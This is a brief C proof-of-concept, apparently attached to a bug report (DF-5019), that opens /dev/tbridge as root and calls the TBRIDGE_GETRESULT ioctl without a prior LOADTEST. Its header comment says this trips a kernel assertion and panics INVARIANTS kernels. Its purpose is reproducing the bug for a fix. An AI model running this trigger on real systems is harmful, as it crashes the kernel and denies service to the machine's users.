/*
 * DF-5019 PoC — trigger TBRIDGE_GETRESULT with NO prior TBRIDGE_LOADTEST.
 *
 * Preconditions:
 *   kldload tbridge      (creates /dev/tbridge, 0600 root:wheel)
 *   kldload mytcase.ko   (registers a testcase: tbridge_curtest != NULL)
 *
 * tbridge_dev_ioctl(TBRIDGE_GETRESULT) never checks that a LOADTEST
 * happened; with a testcase registered it spawns the testrunner kthread
 * which calls tbridge_test_done() -> KKASSERT(tbridge_testcase != NULL)
 * (tbridge.c:196) -> kernel panic on any INVARIANTS kernel
 * (X86_64_GENERIC ships INVARIANTS).
 *
 * Run as root (the device node is 0600 root:wheel).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <libprop/proplib.h>

#define TBRIDGE_GETRESULT _IOR('T', 0xBC, struct plistref)

int
main(void)
{
	struct plistref pr;
	int fd, r;

	memset(&pr, 0, sizeof(pr));

	fd = open("/dev/tbridge", O_RDWR);
	if (fd < 0) {
		perror("open /dev/tbridge");
		return (1);
	}

	/* NOTE: no TBRIDGE_LOADTEST issued first — this is the bug. */
	r = ioctl(fd, TBRIDGE_GETRESULT, &pr);
	printf("GETRESULT returned %d, errno=%d (kernel survived: "
	       "finding NOT reproduced)\n", r, errno);
	return (0);
}
